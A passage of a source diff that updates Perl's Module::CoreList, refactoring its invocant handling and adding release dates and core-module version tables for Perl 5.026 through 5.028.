+        },
+        removed => {
+        }
+    },
+    5.027011 => {
+        delta_from => 5.027010,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.028000 => {
+        delta_from => 5.027011,
+        changed => {
+        },
+        removed => {
+        }
+    },
 );
 
 %utilities = Module::CoreList::_undelta(\%delta);

Modified: vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pm
===================================================================
--- vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Module-CoreList/lib/Module/CoreList.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,14 @@
 package Module::CoreList;
 use strict;
-use vars qw/$VERSION %released %version %families %upstream
-	    %bug_tracker %deprecated %delta/;
+
+our ( %released, %version, %families, %upstream, %bug_tracker, %deprecated, %delta );
+
 use version;
-$VERSION = '5.20170530';
+our $VERSION = '5.20180622';
 
+sub PKG_PATTERN () { q#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z# }
+sub _looks_like_invocant ($) { local $@; !!eval { $_[0]->isa(__PACKAGE__) } }
+
 sub _undelta {
     my ($delta) = @_;
     my (%expanded, $delta_from, $base, $changed, $removed);
@@ -44,9 +48,8 @@
 
 
 sub first_release_raw {
+    shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0];
     my $module = shift;
-    $module = shift if eval { $module->isa(__PACKAGE__) }
-      and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#;
     my $version = shift;
 
     my @perls = $version
@@ -70,10 +73,9 @@
 }
 
 sub find_modules {
+    shift if _looks_like_invocant $_[0];
     my $regex = shift;
-    $regex = shift if eval { $regex->isa(__PACKAGE__) };
-    my @perls = @_;
-    @perls = keys %version unless @perls;
+    my @perls = @_ ? @_ : keys %version;
 
     my %mods;
     foreach (@perls) {
@@ -85,30 +87,23 @@
 }
 
 sub find_version {
+    shift if _looks_like_invocant $_[0];
     my $v = shift;
-    if ($v->isa(__PACKAGE__)) {
-        $v = shift;
-        return if not defined $v;
-    }
-    return $version{$v} if defined $version{$v};
+    return $version{$v} if defined $v and defined $version{$v};
     return;
 }
 
 sub is_deprecated {
+    shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0];
     my $module = shift;
-    $module = shift if eval { $module->isa(__PACKAGE__) }
-      and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#;
-    my $perl_version = shift;
-    $perl_version ||= $];
+    my $perl_version = shift || $];
     return unless $module && exists $deprecated{$perl_version}{$module};
     return $deprecated{$perl_version}{$module};
 }
 
 sub deprecated_in {
-    my $module = shift;
-    $module = shift if eval { $module->isa(__PACKAGE__) }
-      and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#;
-    return unless $module;
+    shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0];
+    my $module = shift or return;
     my @perls = grep { exists $deprecated{$_}{$module} } keys %deprecated;
     return unless @perls;
     require List::Util;
@@ -126,9 +121,8 @@
 }
 
 sub removed_raw {
+  shift if defined $_[1] and $_[1] =~ PKG_PATTERN and _looks_like_invocant $_[0];
   my $mod = shift;
-  $mod = shift if eval { $mod->isa(__PACKAGE__) }
-      and scalar @_ and $_[0] =~ m#\A[a-zA-Z_][0-9a-zA-Z_]*(?:(::|')[0-9a-zA-Z_]+)*\z#;
   return unless my @perls = sort { $a cmp $b } first_release_raw($mod);
   my $last = pop @perls;
   my @removed = grep { $_ > $last } sort { $a cmp $b } keys %version;
@@ -136,8 +130,8 @@
 }
 
 sub changes_between {
+  shift if _looks_like_invocant $_[0];
   my $left_ver = shift;
-  $left_ver = shift if eval { $left_ver->isa(__PACKAGE__) };
   my $right_ver = shift;
 
   my $left  = $version{ $left_ver };
@@ -320,7 +314,26 @@
     5.025010 => '2017-02-20',
     5.025011 => '2017-03-20',
     5.025012 => '2017-04-20',
-    5.026000 => '????-??-??',
+    5.026000 => '2017-05-30',
+    5.027000 => '2017-05-31',
+    5.027001 => '2017-06-20',
+    5.022004 => '2017-07-15',
+    5.024002 => '2017-07-15',
+    5.027002 => '2017-07-20',
+    5.027003 => '2017-08-21',
+    5.027004 => '2017-09-20',
+    5.024003 => '2017-09-22',
+    5.026001 => '2017-09-22',
+    5.027005 => '2017-10-20',
+    5.027006 => '2017-11-20',
+    5.027007 => '2017-12-20',
+    5.027008 => '2018-01-20',
+    5.027009 => '2018-02-20',
+    5.027010 => '2018-03-20',
+    5.024004 => '2018-04-14',
+    5.026002 => '2018-04-14',
+    5.027011 => '2018-04-20',
+    5.028000 => '2018-06-22',
   );
 
 for my $version ( sort { $a <=> $b } keys %released ) {
@@ -14108,17 +14121,1343 @@
         removed => {
         }
     },
+    5.027000 => {
+        delta_from => 5.026000,
+        changed => {
+            'Attribute::Handlers'   => '1.00',
+            'B::Concise'            => '1.000',
+            'B::Deparse'            => '1.41',
+            'B::Op_private'         => '5.027000',
+            'Config'                => '5.027',
+            'Module::CoreList'      => '5.20170531',
+            'Module::CoreList::TieHashDelta'=> '5.20170531',
+            'Module::CoreList::Utils'=> '5.20170531',
+            'O'                     => '1.02',
+            'attributes'            => '0.3',
+            'feature'               => '1.48',
+        },
+        removed => {
+        }
+    },
+    5.027001 => {
+        delta_from => 5.027,
+        changed => {
+            'App::Prove'            => '3.39',
+            'App::Prove::State'     => '3.39',
+            'App::Prove::State::Result'=> '3.39',
+            'App::Prove::State::Result::Test'=> '3.39',
+            'Archive::Tar'          => '2.26',
+            'Archive::Tar::Constant'=> '2.26',
+            'Archive::Tar::File'    => '2.26',
+            'B::Op_private'         => '5.027001',
+            'B::Terse'              => '1.08',
+            'Config'                => '5.027001',
+            'Devel::PPPort'         => '3.36',
+            'DirHandle'             => '1.05',
+            'ExtUtils::Command'     => '7.30',
+            'ExtUtils::Command::MM' => '7.30',
+            'ExtUtils::Install'     => '2.14',
+            'ExtUtils::Installed'   => '2.14',
+            'ExtUtils::Liblist'     => '7.30',
+            'ExtUtils::Liblist::Kid'=> '7.30',
+            'ExtUtils::MM'          => '7.30',
+            'ExtUtils::MM_AIX'      => '7.30',
+            'ExtUtils::MM_Any'      => '7.30',
+            'ExtUtils::MM_BeOS'     => '7.30',
+            'ExtUtils::MM_Cygwin'   => '7.30',
+            'ExtUtils::MM_DOS'      => '7.30',
+            'ExtUtils::MM_Darwin'   => '7.30',
+            'ExtUtils::MM_MacOS'    => '7.30',
+            'ExtUtils::MM_NW5'      => '7.30',
+            'ExtUtils::MM_OS2'      => '7.30',
+            'ExtUtils::MM_QNX'      => '7.30',
+            'ExtUtils::MM_UWIN'     => '7.30',
+            'ExtUtils::MM_Unix'     => '7.30',
+            'ExtUtils::MM_VMS'      => '7.30',
+            'ExtUtils::MM_VOS'      => '7.30',
+            'ExtUtils::MM_Win32'    => '7.30',
+            'ExtUtils::MM_Win95'    => '7.30',
+            'ExtUtils::MY'          => '7.30',
+            'ExtUtils::MakeMaker'   => '7.30',
+            'ExtUtils::MakeMaker::Config'=> '7.30',
+            'ExtUtils::MakeMaker::Locale'=> '7.30',
+            'ExtUtils::MakeMaker::version'=> '7.30',
+            'ExtUtils::MakeMaker::version::regex'=> '7.30',
+            'ExtUtils::Mkbootstrap' => '7.30',
+            'ExtUtils::Mksymlists'  => '7.30',
+            'ExtUtils::Packlist'    => '2.14',
+            'ExtUtils::testlib'     => '7.30',
+            'File::Path'            => '2.14',
+            'Filter::Util::Call'    => '1.57',
+            'GDBM_File'             => '1.16',
+            'Getopt::Long'          => '2.5',
+            'IO::Socket::IP'        => '0.39',
+            'IPC::Cmd'              => '0.98',
+            'JSON::PP'              => '2.94',
+            'JSON::PP::Boolean'     => '2.94',
+            'Locale::Codes'         => '3.52',
+            'Locale::Codes::Constants'=> '3.52',
+            'Locale::Codes::Country'=> '3.52',
+            'Locale::Codes::Country_Codes'=> '3.52',
+            'Locale::Codes::Country_Retired'=> '3.52',
+            'Locale::Codes::Currency'=> '3.52',
+            'Locale::Codes::Currency_Codes'=> '3.52',
+            'Locale::Codes::Currency_Retired'=> '3.52',
+            'Locale::Codes::LangExt'=> '3.52',
+            'Locale::Codes::LangExt_Codes'=> '3.52',
+            'Locale::Codes::LangExt_Retired'=> '3.52',
+            'Locale::Codes::LangFam'=> '3.52',
+            'Locale::Codes::LangFam_Codes'=> '3.52',
+            'Locale::Codes::LangFam_Retired'=> '3.52',
+            'Locale::Codes::LangVar'=> '3.52',
+            'Locale::Codes::LangVar_Codes'=> '3.52',
+            'Locale::Codes::LangVar_Retired'=> '3.52',
+            'Locale::Codes::Language'=> '3.52',
+            'Locale::Codes::Language_Codes'=> '3.52',
+            'Locale::Codes::Language_Retired'=> '3.52',
+            'Locale::Codes::Script' => '3.52',
+            'Locale::Codes::Script_Codes'=> '3.52',
+            'Locale::Codes::Script_Retired'=> '3.52',
+            'Locale::Country'       => '3.52',
+            'Locale::Currency'      => '3.52',
+            'Locale::Language'      => '3.52',
+            'Locale::Script'        => '3.52',
+            'Module::CoreList'      => '5.20170621',
+            'Module::CoreList::TieHashDelta'=> '5.20170621',
+            'Module::CoreList::Utils'=> '5.20170621',
+            'PerlIO::scalar'        => '0.27',
+            'PerlIO::via'           => '0.17',
+            'Storable'              => '2.63',
+            'TAP::Base'             => '3.39',
+            'TAP::Formatter::Base'  => '3.39',
+            'TAP::Formatter::Color' => '3.39',
+            'TAP::Formatter::Console'=> '3.39',
+            'TAP::Formatter::Console::ParallelSession'=> '3.39',
+            'TAP::Formatter::Console::Session'=> '3.39',
+            'TAP::Formatter::File'  => '3.39',
+            'TAP::Formatter::File::Session'=> '3.39',
+            'TAP::Formatter::Session'=> '3.39',
+            'TAP::Harness'          => '3.39',
+            'TAP::Harness::Env'     => '3.39',
+            'TAP::Object'           => '3.39',
+            'TAP::Parser'           => '3.39',
+            'TAP::Parser::Aggregator'=> '3.39',
+            'TAP::Parser::Grammar'  => '3.39',
+            'TAP::Parser::Iterator' => '3.39',
+            'TAP::Parser::Iterator::Array'=> '3.39',
+            'TAP::Parser::Iterator::Process'=> '3.39',
+            'TAP::Parser::Iterator::Stream'=> '3.39',
+            'TAP::Parser::IteratorFactory'=> '3.39',
+            'TAP::Parser::Multiplexer'=> '3.39',
+            'TAP::Parser::Result'   => '3.39',
+            'TAP::Parser::Result::Bailout'=> '3.39',
+            'TAP::Parser::Result::Comment'=> '3.39',
+            'TAP::Parser::Result::Plan'=> '3.39',
+            'TAP::Parser::Result::Pragma'=> '3.39',
+            'TAP::Parser::Result::Test'=> '3.39',
+            'TAP::Parser::Result::Unknown'=> '3.39',
+            'TAP::Parser::Result::Version'=> '3.39',
+            'TAP::Parser::Result::YAML'=> '3.39',
+            'TAP::Parser::ResultFactory'=> '3.39',
+            'TAP::Parser::Scheduler'=> '3.39',
+            'TAP::Parser::Scheduler::Job'=> '3.39',
+            'TAP::Parser::Scheduler::Spinner'=> '3.39',
+            'TAP::Parser::Source'   => '3.39',
+            'TAP::Parser::SourceHandler'=> '3.39',
+            'TAP::Parser::SourceHandler::Executable'=> '3.39',
+            'TAP::Parser::SourceHandler::File'=> '3.39',
+            'TAP::Parser::SourceHandler::Handle'=> '3.39',
+            'TAP::Parser::SourceHandler::Perl'=> '3.39',
+            'TAP::Parser::SourceHandler::RawTAP'=> '3.39',
+            'TAP::Parser::YAMLish::Reader'=> '3.39',
+            'TAP::Parser::YAMLish::Writer'=> '3.39',
+            'Test::Harness'         => '3.39',
+            'XS::APItest'           => '0.89',
+            '_charnames'            => '1.45',
+            'charnames'             => '1.45',
+            'if'                    => '0.0607',
+            'mro'                   => '1.21',
+            'threads'               => '2.16',
+            'threads::shared'       => '1.57',
+            'version'               => '0.9918',
+            'version::regex'        => '0.9918',
+        },
+        removed => {
+        }
+    },
+    5.022004 => {
+        delta_from => 5.022003,
+        changed => {
+            'B::Op_private'         => '5.022004',
+            'Config'                => '5.022004',
+            'Module::CoreList'      => '5.20170715_22',
+            'Module::CoreList::TieHashDelta'=> '5.20170715_22',
+            'Module::CoreList::Utils'=> '5.20170715_22',
+            'base'                  => '2.22_01',
+        },
+        removed => {
+        }
+    },
+    5.024002 => {
+        delta_from => 5.024001,
+        changed => {
+            'B::Op_private'         => '5.024002',
+            'Config'                => '5.024002',
+            'Module::CoreList'      => '5.20170715_24',
+            'Module::CoreList::TieHashDelta'=> '5.20170715_24',
+            'Module::CoreList::Utils'=> '5.20170715_24',
+            'base'                  => '2.23_01',
+        },
+        removed => {
+        }
+    },
+    5.027002 => {
+        delta_from => 5.027001,
+        changed => {
+            'B::Op_private'         => '5.027002',
+            'Carp'                  => '1.43',
+            'Carp::Heavy'           => '1.43',
+            'Config'                => '5.027002',
+            'Cwd'                   => '3.68',
+            'Encode'                => '2.92',
+            'Encode::Alias'         => '2.23',
+            'Encode::CN::HZ'        => '2.09',
+            'Encode::Encoding'      => '2.08',
+            'Encode::GSM0338'       => '2.07',
+            'Encode::Guess'         => '2.07',
+            'Encode::JP::JIS7'      => '2.07',
+            'Encode::KR::2022_KR'   => '2.04',
+            'Encode::MIME::Header'  => '2.27',
+            'Encode::MIME::Header::ISO_2022_JP'=> '1.09',
+            'Encode::Unicode'       => '2.16',
+            'Encode::Unicode::UTF7' => '2.10',
+            'ExtUtils::CBuilder'    => '0.280228',
+            'ExtUtils::CBuilder::Base'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::Unix'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::VMS'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::Windows'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::Windows::BCC'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::Windows::GCC'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::Windows::MSVC'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::aix'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::android'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::cygwin'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::darwin'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::dec_osf'=> '0.280228',
+            'ExtUtils::CBuilder::Platform::os2'=> '0.280228',
+            'File::Glob'            => '1.29',
+            'File::Spec'            => '3.68',
+            'File::Spec::AmigaOS'   => '3.68',
+            'File::Spec::Cygwin'    => '3.68',
+            'File::Spec::Epoc'      => '3.68',
+            'File::Spec::Functions' => '3.68',
+            'File::Spec::Mac'       => '3.68',
+            'File::Spec::OS2'       => '3.68',
+            'File::Spec::Unix'      => '3.68',
+            'File::Spec::VMS'       => '3.68',
+            'File::Spec::Win32'     => '3.68',
+            'List::Util'            => '1.48',
+            'List::Util::XS'        => '1.48',
+            'Math::BigRat'          => '0.2613',
+            'Module::CoreList'      => '5.20170720',
+            'Module::CoreList::TieHashDelta'=> '5.20170720',
+            'Module::CoreList::Utils'=> '5.20170720',
+            'Opcode'                => '1.40',
+            'POSIX'                 => '1.77',
+            'PerlIO::scalar'        => '0.29',
+            'Scalar::Util'          => '1.48',
+            'Sub::Util'             => '1.48',
+            'Time::HiRes'           => '1.9743',
+            'Time::Piece'           => '1.3201',
+            'Time::Seconds'         => '1.3201',
+            'Unicode'               => '10.0.0',
+            'XS::APItest'           => '0.90',
+            'arybase'               => '0.13',
+            'encoding'              => '2.20',
+            'feature'               => '1.49',
+            're'                    => '0.35',
+        },
+        removed => {
+        }
+    },
+    5.027003 => {
+        delta_from => 5.027002,
+        changed => {
+            'B'                     => '1.69',
+            'B::Concise'            => '1.001',
+            'B::Debug'              => '1.25',
+            'B::Deparse'            => '1.42',
+            'B::Op_private'         => '5.027003',
+            'Config'                => '5.027003',
+            'Data::Dumper'          => '2.167_02',
+            'Devel::Peek'           => '1.27',
+            'ExtUtils::Constant'    => '0.24',
+            'ExtUtils::Constant::Base'=> '0.06',
+            'ExtUtils::Constant::ProxySubs'=> '0.09',
+            'ExtUtils::Constant::Utils'=> '0.04',
+            'ExtUtils::ParseXS'     => '3.35',
+            'ExtUtils::ParseXS::Constants'=> '3.35',
+            'ExtUtils::ParseXS::CountLines'=> '3.35',
+            'ExtUtils::ParseXS::Eval'=> '3.35',
+            'ExtUtils::ParseXS::Utilities'=> '3.35',
+            'ExtUtils::Typemaps'    => '3.35',
+            'ExtUtils::Typemaps::Cmd'=> '3.35',
+            'ExtUtils::Typemaps::InputMap'=> '3.35',
+            'ExtUtils::Typemaps::OutputMap'=> '3.35',
+            'ExtUtils::Typemaps::Type'=> '3.35',
+            'Filter::Simple'        => '0.94',
+            'Module::CoreList'      => '5.20170821',
+            'Module::CoreList::TieHashDelta'=> '5.20170821',
+            'Module::CoreList::Utils'=> '5.20170821',
+            'SelfLoader'            => '1.24',
+            'Storable'              => '2.64',
+            'XS::APItest'           => '0.91',
+            'base'                  => '2.26',
+            'threads'               => '2.17',
+            'utf8'                  => '1.20',
+        },
+        removed => {
+        }
+    },
+    5.027004 => {
+        delta_from => 5.027003,
+        changed => {
+            'B::Op_private'         => '5.027004',
+            'Config'                => '5.027004',
+            'File::Glob'            => '1.30',
+            'I18N::Langinfo'        => '0.14',
+            'Module::CoreList'      => '5.20170920',
+            'Module::CoreList::TieHashDelta'=> '5.20170920',
+            'Module::CoreList::Utils'=> '5.20170920',
+            'Term::ReadLine'        => '1.17',
+            'VMS::Stdio'            => '2.42',
+            'XS::APItest'           => '0.92',
+            'attributes'            => '0.31',
+            'sort'                  => '2.03',
+            'threads'               => '2.18',
+        },
+        removed => {
+        }
+    },
+    5.024003 => {
+        delta_from => 5.024002,
+        changed => {
+            'B::Op_private'         => '5.024003',
+            'Config'                => '5.024003',
+            'Module::CoreList'      => '5.20170922_24',
+            'Module::CoreList::TieHashDelta'=> '5.20170922_24',
+            'Module::CoreList::Utils'=> '5.20170922_24',
+            'POSIX'                 => '1.65_01',
+            'Time::HiRes'           => '1.9741',
+        },
+        removed => {
+        }
+    },
+    5.026001 => {
+        delta_from => 5.026000,
+        changed => {
+            'B::Op_private'         => '5.026001',
+            'Config'                => '5.026001',
+            'Module::CoreList'      => '5.20170922_26',
+            'Module::CoreList::TieHashDelta'=> '5.20170922_26',
+            'Module::CoreList::Utils'=> '5.20170922_26',
+            '_charnames'            => '1.45',
+            'base'                  => '2.26',
+            'charnames'             => '1.45',
+        },
+        removed => {
+        }
+    },
+    5.027005 => {
+        delta_from => 5.027004,
+        changed => {
+            'B'                     => '1.70',
+            'B::Concise'            => '1.002',
+            'B::Deparse'            => '1.43',
+            'B::Op_private'         => '5.027005',
+            'B::Xref'               => '1.07',
+            'Config'                => '5.027005',
+            'Config::Perl::V'       => '0.29',
+            'Digest::SHA'           => '5.98',
+            'Encode'                => '2.93',
+            'Encode::CN::HZ'        => '2.10',
+            'Encode::JP::JIS7'      => '2.08',
+            'Encode::MIME::Header'  => '2.28',
+            'Encode::MIME::Name'    => '1.03',
+            'File::Fetch'           => '0.54',
+            'File::Path'            => '2.15',
+            'List::Util'            => '1.49',
+            'List::Util::XS'        => '1.49',
+            'Locale::Codes'         => '3.54',
+            'Locale::Codes::Constants'=> '3.54',
+            'Locale::Codes::Country'=> '3.54',
+            'Locale::Codes::Country_Codes'=> '3.54',
+            'Locale::Codes::Country_Retired'=> '3.54',
+            'Locale::Codes::Currency'=> '3.54',
+            'Locale::Codes::Currency_Codes'=> '3.54',
+            'Locale::Codes::Currency_Retired'=> '3.54',
+            'Locale::Codes::LangExt'=> '3.54',
+            'Locale::Codes::LangExt_Codes'=> '3.54',
+            'Locale::Codes::LangExt_Retired'=> '3.54',
+            'Locale::Codes::LangFam'=> '3.54',
+            'Locale::Codes::LangFam_Codes'=> '3.54',
+            'Locale::Codes::LangFam_Retired'=> '3.54',
+            'Locale::Codes::LangVar'=> '3.54',
+            'Locale::Codes::LangVar_Codes'=> '3.54',
+            'Locale::Codes::LangVar_Retired'=> '3.54',
+            'Locale::Codes::Language'=> '3.54',
+            'Locale::Codes::Language_Codes'=> '3.54',
+            'Locale::Codes::Language_Retired'=> '3.54',
+            'Locale::Codes::Script' => '3.54',
+            'Locale::Codes::Script_Codes'=> '3.54',
+            'Locale::Codes::Script_Retired'=> '3.54',
+            'Locale::Country'       => '3.54',
+            'Locale::Currency'      => '3.54',
+            'Locale::Language'      => '3.54',
+            'Locale::Script'        => '3.54',
+            'Math::BigFloat'        => '1.999811',
+            'Math::BigInt'          => '1.999811',
+            'Math::BigInt::Calc'    => '1.999811',
+            'Math::BigInt::CalcEmu' => '1.999811',
+            'Math::BigInt::FastCalc'=> '0.5006',
+            'Math::BigInt::Lib'     => '1.999811',
+            'Module::CoreList'      => '5.20171020',
+            'Module::CoreList::TieHashDelta'=> '5.20171020',
+            'Module::CoreList::Utils'=> '5.20171020',
+            'NEXT'                  => '0.67_01',
+            'POSIX'                 => '1.78',
+            'Pod::Perldoc'          => '3.2801',
+            'Scalar::Util'          => '1.49',
+            'Sub::Util'             => '1.49',
+            'Sys::Hostname'         => '1.21',
+            'Test2'                 => '1.302103',
+            'Test2::API'            => '1.302103',
+            'Test2::API::Breakage'  => '1.302103',
+            'Test2::API::Context'   => '1.302103',
+            'Test2::API::Instance'  => '1.302103',
+            'Test2::API::Stack'     => '1.302103',
+            'Test2::Event'          => '1.302103',
+            'Test2::Event::Bail'    => '1.302103',
+            'Test2::Event::Diag'    => '1.302103',
+            'Test2::Event::Encoding'=> '1.302103',
+            'Test2::Event::Exception'=> '1.302103',
+            'Test2::Event::Fail'    => '1.302103',
+            'Test2::Event::Generic' => '1.302103',
+            'Test2::Event::Note'    => '1.302103',
+            'Test2::Event::Ok'      => '1.302103',
+            'Test2::Event::Pass'    => '1.302103',
+            'Test2::Event::Plan'    => '1.302103',
+            'Test2::Event::Skip'    => '1.302103',
+            'Test2::Event::Subtest' => '1.302103',
+            'Test2::Event::TAP::Version'=> '1.302103',
+            'Test2::Event::Waiting' => '1.302103',
+            'Test2::EventFacet'     => '1.302103',
+            'Test2::EventFacet::About'=> '1.302103',
+            'Test2::EventFacet::Amnesty'=> '1.302103',
+            'Test2::EventFacet::Assert'=> '1.302103',
+            'Test2::EventFacet::Control'=> '1.302103',
+            'Test2::EventFacet::Error'=> '1.302103',
+            'Test2::EventFacet::Info'=> '1.302103',
+            'Test2::EventFacet::Meta'=> '1.302103',
+            'Test2::EventFacet::Parent'=> '1.302103',
+            'Test2::EventFacet::Plan'=> '1.302103',
+            'Test2::EventFacet::Trace'=> '1.302103',
+            'Test2::Formatter'      => '1.302103',
+            'Test2::Formatter::TAP' => '1.302103',
+            'Test2::Hub'            => '1.302103',
+            'Test2::Hub::Interceptor'=> '1.302103',
+            'Test2::Hub::Interceptor::Terminator'=> '1.302103',
+            'Test2::Hub::Subtest'   => '1.302103',
+            'Test2::IPC'            => '1.302103',
+            'Test2::IPC::Driver'    => '1.302103',
+            'Test2::IPC::Driver::Files'=> '1.302103',
+            'Test2::Tools::Tiny'    => '1.302103',
+            'Test2::Util'           => '1.302103',
+            'Test2::Util::ExternalMeta'=> '1.302103',
+            'Test2::Util::Facets2Legacy'=> '1.302103',
+            'Test2::Util::HashBase' => '0.005',
+            'Test2::Util::Trace'    => '1.302103',
+            'Test::Builder'         => '1.302103',
+            'Test::Builder::Formatter'=> '1.302103',
+            'Test::Builder::IO::Scalar'=> '2.114',
+            'Test::Builder::Module' => '1.302103',
+            'Test::Builder::Tester' => '1.302103',
+            'Test::Builder::Tester::Color'=> '1.302103',
+            'Test::Builder::TodoDiag'=> '1.302103',
+            'Test::More'            => '1.302103',
+            'Test::Simple'          => '1.302103',
+            'Test::Tester'          => '1.302103',
+            'Test::Tester::Capture' => '1.302103',
+            'Test::Tester::CaptureRunner'=> '1.302103',
+            'Test::Tester::Delegate'=> '1.302103',
+            'Test::use::ok'         => '1.302103',
+            'Time::HiRes'           => '1.9746',
+            'Time::Piece'           => '1.3202',
+            'Time::Seconds'         => '1.3202',
+            'arybase'               => '0.14',
+            'encoding'              => '2.21',
+            'ok'                    => '1.302103',
+        },
+        removed => {
+            'Test2::Event::Info'    => 1,
+        }
+    },
+    5.027006 => {
+        delta_from => 5.027005,
+        changed => {
+            'Attribute::Handlers'   => '1.01',
+            'B'                     => '1.72',
+            'B::Concise'            => '1.003',
+            'B::Deparse'            => '1.45',
+            'B::Op_private'         => '5.027006',
+            'Carp'                  => '1.44',
+            'Carp::Heavy'           => '1.44',
+            'Compress::Raw::Zlib'   => '2.075',
+            'Config'                => '5.027006',
+            'Config::Extensions'    => '0.02',
+            'Cwd'                   => '3.70',
+            'DynaLoader'            => '1.44',
+            'ExtUtils::CBuilder'    => '0.280229',
+            'ExtUtils::CBuilder::Platform::Unix'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::VMS'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::Windows'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::aix'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::android'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::cygwin'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::darwin'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::dec_osf'=> '0.280229',
+            'ExtUtils::CBuilder::Platform::os2'=> '0.280229',
+            'ExtUtils::Embed'       => '1.35',
+            'ExtUtils::Miniperl'    => '1.07',
+            'ExtUtils::ParseXS'     => '3.36',
+            'ExtUtils::ParseXS::Constants'=> '3.36',
+            'ExtUtils::ParseXS::CountLines'=> '3.36',
+            'ExtUtils::ParseXS::Eval'=> '3.36',
+            'ExtUtils::ParseXS::Utilities'=> '3.36',
+            'ExtUtils::Typemaps'    => '3.36',
+            'ExtUtils::Typemaps::Cmd'=> '3.36',
+            'ExtUtils::Typemaps::InputMap'=> '3.36',
+            'ExtUtils::Typemaps::OutputMap'=> '3.36',
+            'ExtUtils::Typemaps::Type'=> '3.36',
+            'ExtUtils::XSSymSet'    => '1.4',
+            'File::Copy'            => '2.33',
+            'File::Spec'            => '3.69',
+            'File::Spec::AmigaOS'   => '3.69',
+            'File::Spec::Cygwin'    => '3.69',
+            'File::Spec::Epoc'      => '3.69',
+            'File::Spec::Functions' => '3.69',
+            'File::Spec::Mac'       => '3.69',
+            'File::Spec::OS2'       => '3.69',
+            'File::Spec::Unix'      => '3.69',
+            'File::Spec::VMS'       => '3.69',
+            'File::Spec::Win32'     => '3.69',
+            'File::stat'            => '1.08',
+            'FileCache'             => '1.10',
+            'Filter::Simple'        => '0.95',
+            'Hash::Util::FieldHash' => '1.20',
+            'I18N::LangTags'        => '0.43',
+            'I18N::LangTags::Detect'=> '1.07',
+            'I18N::LangTags::List'  => '0.40',
+            'I18N::Langinfo'        => '0.15',
+            'IO::Handle'            => '1.37',
+            'IO::Select'            => '1.23',
+            'Locale::Maketext'      => '1.29',
+            'Module::CoreList'      => '5.20171120',
+            'Module::CoreList::TieHashDelta'=> '5.20171120',
+            'Module::CoreList::Utils'=> '5.20171120',
+            'Net::Cmd'              => '3.11',
+            'Net::Config'           => '3.11',
+            'Net::Domain'           => '3.11',
+            'Net::FTP'              => '3.11',
+            'Net::FTP::A'           => '3.11',
+            'Net::FTP::E'           => '3.11',
+            'Net::FTP::I'           => '3.11',
+            'Net::FTP::L'           => '3.11',
+            'Net::FTP::dataconn'    => '3.11',
+            'Net::NNTP'             => '3.11',
+            'Net::Netrc'            => '3.11',
+            'Net::POP3'             => '3.11',
+            'Net::Ping'             => '2.62',
+            'Net::SMTP'             => '3.11',
+            'Net::Time'             => '3.11',
+            'Net::hostent'          => '1.02',
+            'Net::netent'           => '1.01',
+            'Net::protoent'         => '1.01',
+            'Net::servent'          => '1.02',
+            'O'                     => '1.03',
+            'ODBM_File'             => '1.15',
+            'Opcode'                => '1.41',
+            'POSIX'                 => '1.80',
+            'Pod::Html'             => '1.2203',
+            'SelfLoader'            => '1.25',
+            'Socket'                => '2.020_04',
+            'Storable'              => '2.65',
+            'Test'                  => '1.31',
+            'Test2'                 => '1.302111',
+            'Test2::API'            => '1.302111',
+            'Test2::API::Breakage'  => '1.302111',
+            'Test2::API::Context'   => '1.302111',
+            'Test2::API::Instance'  => '1.302111',
+            'Test2::API::Stack'     => '1.302111',
+            'Test2::Event'          => '1.302111',
+            'Test2::Event::Bail'    => '1.302111',
+            'Test2::Event::Diag'    => '1.302111',
+            'Test2::Event::Encoding'=> '1.302111',
+            'Test2::Event::Exception'=> '1.302111',
+            'Test2::Event::Fail'    => '1.302111',
+            'Test2::Event::Generic' => '1.302111',
+            'Test2::Event::Note'    => '1.302111',
+            'Test2::Event::Ok'      => '1.302111',
+            'Test2::Event::Pass'    => '1.302111',
+            'Test2::Event::Plan'    => '1.302111',
+            'Test2::Event::Skip'    => '1.302111',
+            'Test2::Event::Subtest' => '1.302111',
+            'Test2::Event::TAP::Version'=> '1.302111',
+            'Test2::Event::Waiting' => '1.302111',
+            'Test2::EventFacet'     => '1.302111',
+            'Test2::EventFacet::About'=> '1.302111',
+            'Test2::EventFacet::Amnesty'=> '1.302111',
+            'Test2::EventFacet::Assert'=> '1.302111',
+            'Test2::EventFacet::Control'=> '1.302111',
+            'Test2::EventFacet::Error'=> '1.302111',
+            'Test2::EventFacet::Info'=> '1.302111',
+            'Test2::EventFacet::Meta'=> '1.302111',
+            'Test2::EventFacet::Parent'=> '1.302111',
+            'Test2::EventFacet::Plan'=> '1.302111',
+            'Test2::EventFacet::Trace'=> '1.302111',
+            'Test2::Formatter'      => '1.302111',
+            'Test2::Formatter::TAP' => '1.302111',
